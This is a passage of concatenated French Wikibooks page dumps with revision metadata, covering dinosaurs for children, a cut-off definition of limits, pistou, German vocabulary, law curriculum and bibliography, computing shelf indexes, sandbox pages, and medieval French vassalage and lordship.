espérant que ce n'est pas ce que vous pensez. Vous retenez votre souffle. Vous êtes effrayé à l'idée que ce soit un prédateur qui est en train de vous regarder comme un repas savoureux. Bien sûr, c'était il y a des millions d'années et cela ne peut exister que dans votre imagination. En fait, c'était il y a si longtemps que les êtres humains n'existaient pas encore, ni même les singes d'ailleurs. Le monde préhistorique des dinosaure est à la fois étrance et passionnant. Dans ce monde vous pouviez trouver de tout et c'est passionnant d'apprendre comment le monde était à cet époque. Certains dinosaures étaient plus grands que des immeubles et d'autres étaient si lourds qu'ils pesaient plus que toute votre famille. Certains n'aurez pas hésité à vous avalé d'un coup quand ils avaient faim et d'autres passaient tout simplement leur temps à manger les plantes qu'il y avait à cette époque. Tous les dinosaures ont des choses intéressantes à nous apprendre et quelque soit la longueur de ce livre nous ne pourront parlé de tous les sujets sur tous les dinosaures. Si vous voulez en apprendre plus sur les dinosaures, demandez à vos parents ou consulter les livres cités en référence à la fin de ce livre. [[en:Wikijunior Dinosaurs/Introduction]] Analyse:Limites 7461 35742 2006-03-04T00:20:22Z 81.56.220.188 /* Définition : Limite en a où a un réel */ =Limites= ==Limites de fonctions à valeurs réels== ===Définition : Limite en a où a un réel=== Soit f une application d'un intervalle I, non vide , non réduit à un point, à valeurs dans R. On dit que f admet l pour limite en a si et seulement si : <math> \forall\epsilon>0 \ \forall\eta>0 \ \forall x \in I (|x - a| < \eta</math> Pistou 7462 35744 2006-03-04T02:52:29Z 82.244.180.126 Le pistou est une sauce au basilic, à l'huile d'olive (et tournesol) et au sel. Elle accompagne les pates ou la soupe. Son origine est italienne, son nom italien est le pesto. Il ne se mange pas cuit, il n'a pas besoin d'etre mis au réfrigerateur car il est conservé dans l'huile. Son arrivée en provence a permis aux français de découvrir cette charmante sauce qui permet d'agrémenter les pates et propose une alternative sympathique a la traditionnelle sauce tomate. Allemand : Die Arbeit : Le travail 7464 41633 2006-05-05T14:24:46Z 88.134.99.231 /* die Arbeitsamt : ''l'agence pour l'emploi'' */ die Stelle (n) : la place, l'emploi<br />die Arbeitstelle : ''le lieu d'emploi''<br /> == der Vertrag(-es, -¨e) : ''le contrat'' == die Arbeitsbedigungen : ''les conditions de travail''<br /> der befristete Arbeitsvertrag : ''le CDD''<br /> == die Arbeitsamt : ''l'agence pour l'emploi'' == die Arbeitsagentur : ''l'agence de placement'' <br />die Arbeitssuche : ''la recherche d'emploi''<br />Arbeitsplätze schaffen : ''créer des emplois''<br />die Arbeitsbeschaffung : ''la création d'emploi''<br /> Retour [[Vocabulaire allemand]] LICENCE PREMIERE ANNEE 7465 35780 2006-03-04T11:08:51Z Moundji 1190 PREMIER SEMESTRE *Unité d'enseignements fondamentaux **Introduction à l'étude du droit et droit civil **[[Droit constitutionnel 1]] *Unité d'enseignements complémentaires **Introduction historique au droit **Institutions judiciaires, institutions administratives **Problèmes économiques contemporains DEUXIEME SEMESTRE *Unité d'enseignements fondamentaux **Droit civil **Droit constitutionnel 2 **Histoire du droit et des institutions *Unité d'enseignements complémentaires **Relations internationales(obligatoire) **Science politique(obligatoire) **Analyse économique (au choix) **Histoire contemporaine politique et sociale(au choix) **Histoire du droit, des personnes et des biens(au choix) Droit constitutionnel 1 7466 37198 2006-03-12T11:20:28Z Moundji 1190 /* Bibliographie */ Chargé de cours : [[utilisateur:Moundji|Moundji]] ==== Bibliographie ==== Un cours, malgré l'effort des rédacteurs, ne saurait être d'une parfaite pédagogie. Certains étudiants pourront dès lors recourir aux ouvrages imprimés afin de mieux saisir les notions et éviter l'impasse. Mais attention, il n'existe pas de manuels de référence, ou qui soit de meilleures qualités que les autres, chacun aura ses préférences ; alors n'hésitez pas à en consulter le plus possible pour trouver celui qui vous conviendra le mieux. D'autant plus que ce cours ne prétend pas être complet, loin de là. Nous vous proposons de vous donner le strict minimum car tout ne peut être dit. IMPORTANT Il est indispensable que vous effectuiez un travail personnel de recherche et de réflexion qui sera contrôlé par les devoirs qui vous seront fournis. L'apprentissage est l'aboutissement d'un travail personnel et surement pas la tentative de mémorisation systématique de centaines de pages. Si vous comprenez ceci vous avez d'ors et déjà fait un grand pas. <u>Histoire constitutionnelle</u> *Olivier DUHAMEL - Histoire constitutionnelle de la France. Paris, Seuil, 1995. *Michel TROPER, Jérôme FROMAGEAU, Séparation des pouvoirs et l'histoire constitutionnelle française, Paris, LGDJ, 1980. *Daniel AMSON, Droit constitutionnel. Histoire constitutionnelle française (1789-1958). La Ve République (1958-1992), Paris, Cours de droit (les), 1992. <u>Textes et documents</u> *Georges VEDEL, La Constitution, Paris, Seuil, 1996. *Simon-Louis FORMERY, La Constitution commentée article par article, Paris, Hachette, 1996. <u>Manuels</u> *AQUAVIVA J.-C., Droit et constitutionnel et institutions politiques, Gualino, 2002. *ARDANT Ph., Institutions politiques et Droit constitutionnel, L.G.D.J., 2003. *BARANGER D., Le droit constitutionnel, P.U.F., 2002. *Jean GICQUEL et Pierre AVRIL, Droit constitutionnel, Paris, PUF, 1994. *Jean RIVÉRO, Les Libertés publiques, Tome 1. Les droits de l'homme, Paris, PUF, 1995. *Jean RIVÉRO, Les libertés publiques, Tome 2. Le régime des principales libertés, Paris, PUF, 1996. *Jean MORANGE, Droits de l'homme et libertés publiques, Paris, PUF, 1995. *Dominique TURPIN et Jean-Pierre MASSIAS, Droit constitutionnel, Paris, PUF, 1997. *SEGUR Ph., Introduction à la pensée politique classique. Droit public, institutions politiques, Ellipses, 2004. *MOUTON S., ESPLUGAS P., EUZET C., VIGUIER J., Droit constitutionnel, coll. Tout le Droit, Ellipses, 2004. *Pierre PACTET, Institutions politiques. Droit constitutionnel, Paris, Armand Colin, 1997. *Dominique ROUSSEAU, Droit du contentieux constitutionnel, Paris, Montchrestien, 1995. *Dominique TURPIN, Contentieux constitutionnel, Paris, PUF, 1994. ==== Plan du cours ==== ===== [[Notions fondamentales]] ===== ===== [[La Vème République]] ===== Accueil/Informatique/Rayon Programmation 7467 44018 2006-06-06T11:14:41Z Boly38 136 /* Programmation */ ==Programmation== * [[Programmation|Programmer]] {{25}} * [[Programmation 4GL|4GL]] {{00}} * [[Programmation ASP|ASP]] {{25}} * [[Programmation méthode B|méthode B]] {{25}} * [[Programmation C|C]] {{50}} * [[ Exercices en langage C|Programmation C : Exercices corrigés]]{{00}} * [[C_plus_plus|C++]] {{25}} * [[ Programmation_C_plus_plus_debutants|Programmation C++ (débutant) ]]{{50}} * [[Exercices_en_langage_C++|Exercices en langage C++]] {{25}} * [[Interfaces graphiques en C++ avec wxWidget|Programmation C++ : interfaces graphiques avec wxWidget]]{{25}} * [[Programmation C sharp|C#]] {{25}} * [[Programmation HTML|HTML]] {{25}} * [[Programmation Java|Java]] {{50}} * [[Programmation JavaScript|JavaScript]] {{25}} * [[Programmation LaTeX|LaTeX]] {{25}} * [[Programmation Logo|Logo]] {{75}} * [[Managed C Plus Plus|MC++]] {{50}} * [[Programmation GTK2 en Pascal|GTK2 en Pascal]] {{50}} * [[Programmation PHP|PHP]] {{25}} * [[Programmation Python|Python]] {{25}} * [[Programmation Tcl|Tcl]] {{25}} * [[Programmation VBA|VBA]] {{00}} * [[Programmation VBscript|VBscript]] {{25}} * [[Programmation Linotte|Langage Linotte]] * [[Programmation Prolog|Prolog]] {{00}} Accueil/Informatique/Rayon BD 7468 44608 2006-06-16T08:14:55Z 87.8.140.212 /* Bases de données */ ==Bases de données== * [[Dbase]] * [[Programmation_SQL|SQL]] * [[Hyperfile]] * [[Access]] * [[Mysql]] * [[Oracle]] Accueil/Informatique/Rayon ASR 7469 41854 2006-05-10T11:06:12Z Teckel 1461 /* Architecture, Système et Réseaux */ ====Architecture, Système et Réseaux==== *[[Introduction aux réseaux]]{{00}} *[[ Reseaux TCP/IP|Les réseaux TCP/IP ]]{{50}} *[[ Architecture des ordinateurs|Architecture des ordinateurs ]]{{25}} *[[MANs sous Linux]]{{00}} *[[Système_de_noms_de_domaine| Système de noms de domaine]]{{00}} Accueil/Informatique/Rayon Administration 7470 35804 2006-03-04T11:52:47Z Merrheim 1032 ====Administration==== * [[Certifications Linux LPI]] {{25}} * [[Groupware]] {{25}} * [[GNU/Linux]] {{25}} Accueil/Informatique/Rayon Guides 7471 35806 2006-03-04T11:53:32Z Merrheim 1032 ==Guides== * [[Migration Windows NT vers Linux|Migration Windows NT vers Linux (OpenLDAP/SaMBa)]] {{25}} * [[Lire et écrire le japonais sous Debian|Le japonais sous Debian]] & [[Lire et écrire le japonais sous Windows|sous Windows]] {{75}} * [[Réseau sous Windows]] {{25}} * [[Astuces pour Windows XP]] {{50}} * [[BiblioTIC : l'informatique et l'Internet au service des bibliothèques]] {{75}} * [[:Catégorie:Microsoft Office|Microsoft Office]] {{25}} * [[:Catégorie:DOS|DOS]] {{00}} * [[Photoshop]] {{00}} * [[Tout sur le portable Asus A6VA]] {{25}} * [[Lire et Faire des fichiers PDF]] * [[:Catégorie:IA|Techniques de l'intelligence artificielle]] {{00}} Accueil/Informatique/Rayon Logiciels Libres 7472 41528 2006-05-03T21:14:59Z Coleginux 1430 /* Logiciels libres */ ==Logiciels libres== * [[Documentation phpMyVisites|phpMyVisites]] {{100}} * [[GPG | GPG ]] {{100}} * [[Communiquer avec un Serveur Jabber]] {{25}} * [[Optimisation du navigateur Firefox]] * [[Lire et Faire des fichiers PDF|PDFCreator]] * [[Etude du cyber-mouvement du logiciel libre]] {{25}} Accueil/Informatique/Rayon Divers 7473 43520 2006-05-31T08:45:18Z Cdang 1202 /* Divers */ scilab -> 50 ==== Divers ==== * [[Introduction au protocole NNTP]] * [[Lire et Faire des fichiers PDF]] * [[Fonctionnement_de_l'IRC|Apprendre l'IRC]] * [[Découverte de MySQL, PostgreSQL et Oracle]] * [[Découvrir Scilab]] {{50}} Image:Td8fig1.png 7475 35839 2006-03-04T13:05:31Z SergeMoutou 1178 Les état d'un graphe d'états. Les état d'un graphe d'états. Image:Td8fig2.png 7476 35841 2006-03-04T13:09:41Z SergeMoutou 1178 Transition réceptive Transition réceptive Image:Td8fig3.png 7477 35846 2006-03-04T13:18:18Z SergeMoutou 1178 Equivalence transition réceptive Equivalence transition réceptive Image:Td8fig4.png 7478 35856 2006-03-04T13:52:29Z SergeMoutou 1178 Exemple de graphe d'état Exemple de graphe d'état Image:Td8fig5.png 7479 35861 2006-03-04T14:03:56Z SergeMoutou 1178 Implantation d'un graphe d'état Implantation d'un graphe d'état Programmation Ruby Classes 7480 42928 2006-05-21T11:53:20Z 195.93.102.67 Wikilivres:Bac à sable/Sous-page 1 7481 40834 2006-04-24T10:35:03Z 24.122.81.76 /* Section 2 de la sous-page 1 */ == Section 1 de la sous-page 1 == blabla 11 == Section 2 de la sous-page 1 == * élément A * élément B * élément C * élément A * élément B * élément C abt g95y09505 <!----> Wikilivres:Bac à sable/Sous-page 2 7482 35871 2006-03-04T15:04:07Z Fapae 1199 Sous-page 2 sans sections. Wikilivres:Bac à sable/Sous-page 3 7483 40623 2006-04-21T10:43:02Z 194.250.98.243 /* supputa le fantôme. */ == Section 1 de la sous-page 3 == blabla == Sous-sous-pages == {{Wikilivres:Bac à sable/Sous-page 3a}} {{Wikilivres:Bac à sable/Sous-page 3/Sous-page b}} bouh bouh bouh Le fantôme, dans son ilmmense splendur a dit bouh bouh bouh Ce fantôme s'approcha de l'enfant endormi et lui tira les cheveux. Aïe, tu m'fais mal == supputa le fantôme endormit puis avachit tel un gnome des tropiques fatigué. == Wikilivres:Bac à sable/Sous-page 3a 7484 39435 2006-04-01T20:49:47Z 209.213.229.99 /* Section 2 de la sous-page 3a */ == Section 1 de la sous-page 3a == blabla == Section 2 de la sous-page 3a == abra cadabra Wikilivres:Bac à sable/Sous-page 3/Sous-page b 7485 40753 2006-04-22T22:25:37Z 82.227.183.78 /* Texte de sous-titre */ == Section 1 de la sous-page 3b == blabla == Texte de sous-titre == '''Texte gras'''== Section 2 de la sous-page 3b == abricot == Texte de sous-titre == blablammmmmmmmmmmmmmmmmmmmmm Wikijunior:Les dinosaures/T-Rex 7486 46613 2006-06-30T12:51:19Z 193.50.140.110 /* Description du terrible T-rex */ {{Wikijunior/Dinosaure}} Le Tyrannosaure rex, ou T-rex en raccourci, était un dinosaure du crétacé qui peupla la Terre il y a entre 60 et 90 millions d'années. Egalement appelé le "Roi des lézard Tyran", le T-rex était le plus gros carnivore jamais découvert. Le T-rex était un monstre terrifiant que personne ne voulait avoir en face de lui quand il avait faim. On pense qu'aucun dinosaure ne pouvait battre le T-rex, à part bien sûr un autre T-rex. Le T-rex est considéré comme le plus grand des prédateurs depuis toujours et c'est bien mérité qu'on parle de lui en premier dans le livre des dinosaures de Wikijunior. A cause de leur petits yeux, on pense qu'il n'avait pas une bonne vision éloignée (capacité à voir quelquechose d'éloigné). === Description du terrible T-rex=== [[Image:Trex skelleton 2.jpg|thumb|left]] Le Tyrannosaure rex pouvait mesurer jusqu'à '''13 mètres''' de long, '''5 mètres''' de haut, et peser entre '''4 et 6 tonnes'''. Cela signifie que si tu te tenais debout à coté d'un T-rex, il aurait mesurer entre 4 et 6 fois ta taille, et ils auraient pesé beaucoup mais vraiment beaucoup plus lourd que toi. On les reconnaissait facilement avec leur machoires courtes mais profondes, leurs dents énormes et leur petits bras. Leur grande machoire et leur larges dents en faisaient de terribles prédateurs. La seule machoire du T-rex faisait environ 1 mètre 30 et avait entre 50 en 60 dents de plus de 10 centimètres de long capables de broyer des os. A cause de leurs petits yeux, on pense qu'il n'avait pas une bonne vision de loin. Les bras du T-rex, à peu près de la même taille que les tiens ou les miens, n'étaient pas assez longs pour l'aider à chasser n'importe quoi. Ils étaient très forts, capable soulever jusqu'à deux cents kilos, mais n'étaient pas assez longs pour leur permettre de se toucher ! Bien qu'il n'ait pas de mains, les jambes compensaient cela largement. Assez puissantes pour déplacer ce monstre géant, elles étaient capables de soulever 5 à 7 tonnes lorque la bête marchait. Tandis qu'il n'est pas sûr que le T-rex était capable de courir, si c'était le cas, alors leurs jambes auraient dû être capable de propulser cette bête géante à travers les marais et les forêts préhistorique qui existaient autrefois. ===Que mangeaient-ils ?=== Le T-rex était un très grand mangeur de viande. Il avait des dents capables de déchiqueter tout ce qu'il attrapait. Une incertitude demeure toutefois au sujet du T-rex. En effet certaines personnes pensent que le T-Rex était un nécrophage (un animal qui mange des animaux déjà morts). Comme il vivait il y a très longtemps, il est difficile de déterminer si oui ou non il était capable d'attraper une proie. Le T-rex aurait pu manger tous les animaux qu'il était capable d'attraper car il pouvait manger 230 kilos de viande et d'os en une seule bouchée. La seule chose que le T-rex ne pouvait pas manger était nos ancêtres à nous les humains. En effet, les êtres humains ne sont apparus qu'il y a 5 millions d'années, beaucoup trop tard pour avoir peur d'être mangés par un T-rex ! === Quand ont-il vécu ?=== ===Quel était leur habitat ?=== === Comment les a-t-on découverts=== === Que nous reste-il à découvrir ?=== <!-- === When did they live? === Tyrannosaurus rex lived from '''90 million''' years ago to '''65 million''' years ago in the Cretaceous period. They were among the last of the big dinosaurs. === What was their Habitat? === Tyrannosaurus rex is believed to have lived in swamps and forests, near rivers, and in areas that were open. Mild seasons also would have been most favorable to Tyrannosaurus rex. Tyrannosaurus rex fossils have been found in western North America and Mongolia. [[Image:Trex footprint.jpg|left|thumb|160px|T-Rex footprint at a museum.]] === How were they discovered? === The famous fossil hunter Barnum Brown found the first Tyrannasarus fossil in 1902. Tyrannasarus rex wasn't the dinosaur's name until 1905, when it was given that name by Henry Fairfield. Since then about 30 other Tyrannosaurus fossils have been found, most of the sites are in the western part of the United States. Only one Tyrannasarus footprint has been found. === What do we need to learn? === # The color of their skin; green is one guess, but no one knows for sure. The one thing we can't tell from fossils is color! # Whether T. rex was just a scavenger or a scavenger and a hunter. There are very few hunting animals that won't scavenge. # If T. rex had the ability to run. # Was it really the largest [[Wikijunior_Dinosaurs/Glossary_of_Basic_Terms|predator]]? In 1995 ''some parts'' of a predator that seems even larger than the T-Rex were found in Argentina! They called it the Giganotosaurus, which was about 45 ft long (about a meter (yard) longer than T-Rex). There have also been some parts of even larger carnivorous dinosaurs found since then. --> Histoire de la France médiévale 7487 40664 2006-04-21T15:08:52Z E-s-B 1133 catégorie <table width="100%" cellspacing="0" cellpadding="4" border="0" style="border:solid #BBBBBB 1px; background:#FFFF80"><tr> <td style="background:#CCCCEE;vertical-align:top"><div style="margin-left:10px; margin-right:10px; margin-top:10px;margin-bottom:10px; border:solid #BBBBBB 2px">[[Image:Cleric-Knight-Workman.jpg|200px]]</div></td> <td style="vertical-align:center"><div style="margin-left:15px;margin-right:15px">''Le roy manda ses barons pour avoir conseil que il feroit. Moult de gens li loerent que il attendit tant que ses gens feussent revenus pour ce que il ne li estoit pas demouré la tierce partie de ces gens ; et il ne les en voult onques croire, la reson pour quoy que il dit que il en donroit cuer a ses ennemis, et meismement que en la mer devant Damiette n'a point de port la ou il peut sa gent attendre, pour ce que un fort vent nes preist et les menast en autres terres aussi comme les autres avoient le jour de Penthecouste'' :Extrait de la ''Vie de Saint Louis'', Joinville, XIV{{e}} siècle <center><br><big>'''[[Histoire de la France médiévale:sommaire|sommaire >>]]'''</big></center></div></td> </tr></table> [[Catégorie:Histoire]] Histoire de la France médiévale:sommaire 7488 41900 2006-05-10T17:55:37Z Urban 886 {{Histoire de la France médiévale}} Présentation Ce livre s'adresse avant tout à un public étudiant l'histoire. Les nombreuses références bibliographiques, les extraits documentaires proposés permettent d'approfondir la connaissance historique de la France médiévale. *[[Histoire de la France médiévale:introduction|introduction]] *[[Histoire de la France médiévale:chapitre 1|la France mérovingienne]] *[[Histoire de la France médiévale:chapitre 2|la France carolingienne]] *[[Histoire de la France médiévale:chapitre 3|la vassalité]] *[[Histoire de la France médiévale:chapitre 4|la seigneurie]] *[[Histoire de la France médiévale:chapitre 5|le temps des cathédrales]] *[[Histoire de la France médiévale:chapitre 6|la France chrétienne]] *[[Histoire de la France médiévale:chapitre 7|la France rurale]] *[[Histoire de la France médiévale:chapitre 8|la France urbaine]] *[[Histoire de la France médiévale:chapitre 9|les châteaux forts]] Modèle:Histoire de la France médiévale 7489 41901 2006-05-10T17:57:19Z Urban 886 <table width="100%" cellspacing="0" cellpadding="4" border="0" style="border:solid #BBBBBB 1px; background:#EEEEEE"> <tr> </div></td> <td style="background:#CCYEEE;vertical-align:top"> :retour au [[Histoire de la France médiévale:sommaire|'''sommaire''']] :chapitres | [[Histoire de la France médiévale:introduction|Introduction]] | [[Histoire de la France médiévale:chapitre 1|1]] | [[Histoire de la France médiévale:chapitre 2|2]] | [[Histoire de la France médiévale:chapitre 3|3]] | [[Histoire de la France médiévale:chapitre 4|4]] | [[Histoire de la France médiévale:chapitre 5|5]] | [[Histoire de la France médiévale:chapitre 6|6]] | [[Histoire de la France médiévale:chapitre 7|7]] | [[Histoire de la France médiévale:chapitre 8|8]] | [[Histoire de la France médiévale:chapitre 9|9]] :annexes | [[Histoire de la France médiévale:glossaire|Glossaire]] | [[Histoire de la France médiévale:bibliographie|Bibliographie]] | [[Histoire de la France médiévale:liens|Liens]] | [[Histoire de la France médiévale:auteurs|Auteurs]] | [[Histoire de la France médiévale:chronologie|Chronologie]] | [[Histoire de la France médiévale:cartes|Cartes]] | [[Histoire de la France médiévale:biographies|Biographies]] :catégorie | [[Histoire]] > [[Histoire de la France médiévale]] </td> </tr> </table> Histoire de la France médiévale:chapitre 3 7490 35902 2006-03-04T17:01:55Z Urban 886 {{Histoire de la France médiévale}} La vassalité est une institution qui unit deux hommes libres de puissance différente : un vassal se met au service d'un seigneur et lui assure sa fidélité. La vassalité existait sous les Mérovingiens : elle permettait à des guerriers de se placer sous la protection du roi ou d'un aristocrate. Il s'agissait alors d'une relation de compagnonage. Sous les Carolingiens, la vassalité se développe et Charlemagne cherche à en tirer parti. Le roi exige de tous les hommes libres un serment de fidélité. Avec les attaques des Vikings, des Sarrasins et des Hongrois, la vassalité prend un nouveau tour dès le IX{{e}} siècle. L'autorité centrale se révélant incapable de protéger la population, les comtes, les ducs et les marquis se constituent un réseau de fidélités locales : les vassaux de ces princes territoriaux obéissent directement à eux. Le bénéfice, puis le fief, donné par le seigneur à son vassal devient peu à peu l'élément fondamental de la vassalité. Les relations féodo-vassaliques structurent alors une partie de la société française. =La cérémonie d'entrée en vassalité= ==Sources== Les historiens disposent d'une documentation inégale pour connaître la cérémonie. Au début du XII{{e}} siècle, le notaire Galbert de Bruges décrit les différents moments dans un passage de son ''Histoire du meurtre de Charles le Bon''. L'entrée en vassalité se fait au cours d'une cérémonie publique, qui avait lieu au château du seigneur. Cette cérémonie compte en principe trois étapes. ==L'hommage== Le seigneur demande au vassal s'il veut devenir son homme. Cette question et la réponse qu'elle appelle sont suivies d'un geste fort. Le vassal agenouillé tend ses mains jointes et le seigneur les prend dans les siennes. Un baiser peut conclure cette étape. Il marque bien la relation "charnelle" des deux hommes. ==La foi== Le vassal déclare ensuite qu'il sera fidèle à son seigneur. Il en fait la promesse sur une relique ou sur la Bible. S'il rompt son engagement, il devient alors parjure. ==L'investiture== La dernière étape de la cérémonie consiste pour le seigneur à donner un objet symbolique du fief. Le fief est souvent une terre qui permet au vassal de subvenir à ses besoins. L'objet pourra être détruit en cas de trahison. =Les devoirs du vassal= Par la cérémonie de l'hommage, le vassal entre au service d'un seigneur. Il s'engage à respecter un certain nombre d'obligation. Premièrement, le vassal ne doit pas nuire aux intérêts de son seigneur. Il lui est impossible de convoiter ses terres. Deuxièmement, le vassal est contraint d'aider son seigneur. Il doit fournir une aide financière : contribuer aux frais de croisade, acheter cadeaux et nourriture pour le mariage de la fille aînée du seigneur, ou encore payer la rançon en cas de capture. Le vassal doit soutenir les dépences liées à l'adoubement du fils aîné de son seigneur. Troisièmement, le vassal prend part à la cour féodale de son seigneur : il juge et conseille avec les autres vassaux. Enfin, l'obligation principale est d'ordre militaire, puisque le vassal doit répondre présent lorsque le seigneur est attaqué. Lorsque son seigneur lance une offensive, il est tenu de le suivre gratuitement pendant 40 jours. Au-delà de cette période, le vassal peut exiger une solde. =Les devoirs du seigneur= Le seigneur a le devoir de protéger, au besoin par les armes, les intérêts de ses vassaux. Il doit obligatoirement lui offrir un fief en échange de sa fidélité. Histoire de la France médiévale:chapitre 4 7491 36286 2006-03-06T17:45:59Z Urban 886 {{EnTravaux}} {{Histoire de la France médiévale}} Au Moyen Âge, le mot "seigneur" recouvre plusieurs réalités : * le Seigneur (en latin ''dominus'', le maître) désigne, dans de nombreuses sources, Dieu et/ou son fils Jésus. * le seigneur (en latin ''senior'', mot peu usité avant le XIII{{e}} siècle<ref>Gauvard, ''Dictionnaire du Moyen Âge'', p.1314</ref>) est le supérieur du vassal. Il lui offre sa protection et un fief, en échange de services (voir le chapitre 3). * le seigneur est le maître d'une seigneurie. * le seigneur dispose d'un pouvoir sur des personnes : il incarne la seigneurie personnelle ou domestique. La seigneur détient le droit de ban, c'est-à-dire celui de commander, de contraindre et de punir. La superposition et l'enchevêtrement des divers types de seigneuries rend la situation confuse : un même individu peut dépendre de plusieurs seigneurs. L'âge d'or de la seigneurie se situe au Moyen Âge central. =La seigneurie foncière= La terre est au Moyen Âge source de revenus et de prestige pour le seigneur qui la possède. Le bénéfice puis le fief sont souvent des terres concédées par un seigneur à un vassal en échange de fidélité et de services. La seigneurie foncière se fonde sur la possession du sol et sur les droits qu'elle implique. ==Sources== *Polyptyques **Polyptyque de Saint-Germain-des-Prés (IXe siècle) **Polyptyque de l'abbaye de Marchiennes *Censiers : documents qui donnent les noms des tenanciers et les sommes dues à titre de loyer. *Terriers : documents qui décrivent les biens utilisés par les tenanciers. *Cadastre : document qui donne la localisation précise des tenures. *Cartulaires : recueil de copies de chartres (acte écrit émanent d'une autorité) destiné à une personne, un seigneur par exemple ou à une collectivité (monastère ...). Document de gestion à usage interne, ils sont nombreux aux XIIIe et XIVe siècle. **Cartulaire de l'abbaye de Saint-Vaast d'Arras, édité par E. Van Drival, 1875 **Cartulaire de Sorde, en Gascogne *Chartriers *contrats agraires : ''libellum'' ou ''livello'' dans le domaine méditerranéen ==Le système domanial carolingien== Les historiens discutent des origines antiques du domaine carolingien. Celui-ci (''villa'' au singulier, ''villae'' au pluriel) est divisé en deux parties : la réserve (''mansum dominicatum'', ''dominium'', ''pars indominicata'') et les tenures (ou ''manses''). La réserve est mise en valeur par des esclaves, des domestiques ou par les corvées dues par les paysans dépendants. Les manses sont louées contre des redevances le plus souvent en nature (produits agricoles, objets), étant donné la rareté de la monnaie. Le cens constituait le loyer des tenures ou des maisons. Certaines tenures sont qualifiées de "serviles". Les tenanciers doivent des corvées, travaux et services de natures diverses dues sur la réserve domaniale. Les corvées consistent par exemple à transporter le vin. Dès le IXe siècle, dans le contexte d'affaiblissement du pouvoir central et des attaques extérieures, le seigneur prend sous sa protection et son pouvoir les hommes qui ne sont pas armées (''juniores''). ==L'évolution de la seigneurie (Xe / XVe siècles)== Comme à l'époque carolingienne, la seigneurie foncière conserve sa structure bipartite et se divise en deux : réserve et tenures. La réserve est cultivée en faire-valoir direct. Le reste de la seigneurie est voué au faire-valoir indirect. Cependant, les parcelles d'un même terroir rural dépendent rarement d'un seul seigneur foncier. Ainsi, pour calculer la superficie totale d'une seigneurie foncière, il faut ajouter des tenures très dispersés dans l'espace. Par ailleurs, cette surface est fortement variable : au XIIIe siècle, la seigneurie foncière de Notre-Dame de Barbézieux (Charente) couvre plusieurs centaines d'hectares. L'émiettement s'explique par les donations, les partages successoraux, les inféodations ou les ventes. ===Tenures et tenanciers=== *L'habitation et le jardin (appelés "casaux" dans le sud-ouest) sont peu taxés par le seigneur"<ref>D. Barthélémy, ''L'ordre seigneurial ...'', p.99</ref>. *Le mot "manse" et ses dérivés ("mas", "masure", "masade" ...) survit<ref>Gauvard, ''La France au Moyen Âge'', p.184</ref>, de même que celui de "manants" (du verbe latin ''manere'', rester)<ref>Gauvard, ''La France au Moyen Âge'', p.154</ref>. Mais le manse carolingien tend à disparaître sous l'action du morcellement induit par la pression démographique dans les campagnes. Il finit par désigner uniquement les bâtiments d'exploitation, le jardin et le maison du paysan"<ref>Leturcq Samuel, ''La vie rurale ...'', p. 121</ref>. La taille des tenures se réduit donc, dès le X{{e}} siècle en Normandie, au XIIIe siècle en Roussillon et en Lorraine"<ref>Leturcq Samuel, ''La vie rurale ...'', p. 121-122</ref> *Au Moyen Âge classique, les redevances dues au possesseur de la terre sont de plus en plus versées en argent. La tenure est en principe inaliénable. Les corvées sont devenues rares<ref>Gauvard, ''Dictionnaire du Moyen Âge'', p.236</ref> ou sont rachetées par la communauté paysanne. L'argent ainsi prélevé servait à payer des salariés agricoles pour cultiver la réserve. Cette évolution peut s'expliquer par la mise en valeur de nouvelles parcelles, couplée au développement de l'hostise. Les tenanciers ne travaillaient pas aussi bien sur la réserve que sur leurs tenures. La réduction de la réserve seigneuriale rend également inutiles les corvées. La diffusion de la monnaie s'accélère à partir du XIe siècle : les redevances sont de plus en plus prélevées en argent, car les paysans parviennent à vendre leurs surplus sur les marchés. *Les redevances tendent à s'affaiblir aux XIe et XIIe siècle à cause de la pénurie de main d'œuvre. La situation s'inverse au XIIIe siècle et jusqu'au début du XIVe siècle. Avec l'inflation et l'amélioration des rendements agricoles, le prélèvement fixe en argent devient problématique pour le seigneur, qui perd du pouvoir d'achat. Le cens est devenu une sorte de taxe recognitive de la situation juridique du paysan, une somme symbolique. Les contrats de métayage et de fermage, à durée limitée, constituent une parade utilisée par les seigneurs pour limiter l'érosion des prélèvements. Le fermier verse un loyer au seigneur pour les terres de la réserve qu'il cultive. Le seigneur peut réévaluer le loyer, alors qu'il ne peut toucher au cens sur les tenures. Le métayage est un contrat par lequel le seigneur procure les moyens de production et le métayer lui redistribue une partie de la récolte. * À partir du Xe siècle, les défrichements permettent d'accroître la surface arable : le seigneur prélève alors le champart, redevance proportionnelle à la récolte, qui est bien adapté aux terres défrichées : pendant un certain temps, la nouvelle terre ne produit rien ; le prélèvement est nul. Dès que les récoltes arrivent, le seigneur bénéficie d'un revenu sûr. L'hostise est souvent soumise à de faibles redevances. * Le loyer est payé à l'automne ou en plusieurs fois au cours de l'année. Si l'usage de la monnaie se répand, il peut être aussi acquitté en nature. Le seigneur pourra vendre ensuite ces produits au marché. Son montant varie selon plusieurs facteurs. Le tenancier doit apporter ce loyer au seigneur. Dans les autres cas, un agent seigneurial (sergent ou un censier) vient le collecter. *Champart (au Nord : terrage, gerbage, frumentage ... ; au sud : agrier, tasque, tâche ...) est une redevance proportionnelle à la récolte ; métayage. Le taux du champart est inégal : lourd dans le sud et l'ouest (1/4 ou 1/5e) ; dans le nord : 1/8 à 1/16, en particulier sur les mauvaises terres. La tenure à champart se développe surtout au XIIe siècle"<ref>Leturcq Samuel, ''La vie rurale ...'', p. 126</ref> sur les nouvelles terres mises à disposition des tenanciers (mais pas uniquement). La redevance est fournie au champarteur, un agent seigneurial. Le produit du champart était commercialisé par le seigneur ou ses agents. *Le bail : ''aprisio'' en Languedoc *La tenure se transmet de façon héréditaire, contre un droit de mutation (''lods et ventes'') versé au seigneur. *La censive : le cens est désormais fixé par la coutume orale au nord, et les actes écrits au sud. Ce loyer est fixe, annuel et souvent mixte (nature/argent). La dévaluation du cens. Le cens ne peut être révisé avant la mort du paysan et de ses héritiers<ref>*D. A. Davril, E. Palazzo, ''La vie des moines ...'', p. 264</ref>. *Les droits de mutation : **à l'entrée : "entrage", "abergement", "acapte" **Lods et ventes (1/12e ou 1/13e de la valeur de la vente), foriscape, lauzime, vende, laudes **Droits de succession : relief, rachat ===La réserve seigneuriale=== *Il s'agit de parcelles nommée "condamines" ou "coutures", le plus souvent sises à côté de l'habitat seigneurial, et exploitées en faire-valoir direct. La réserve est 5 à 6 fois plus étendue qu'une tenure<ref>Gauvard, ''La France au Moyen Âge'', p.154</ref>. Elle n'est plus cultivée par des esclaves 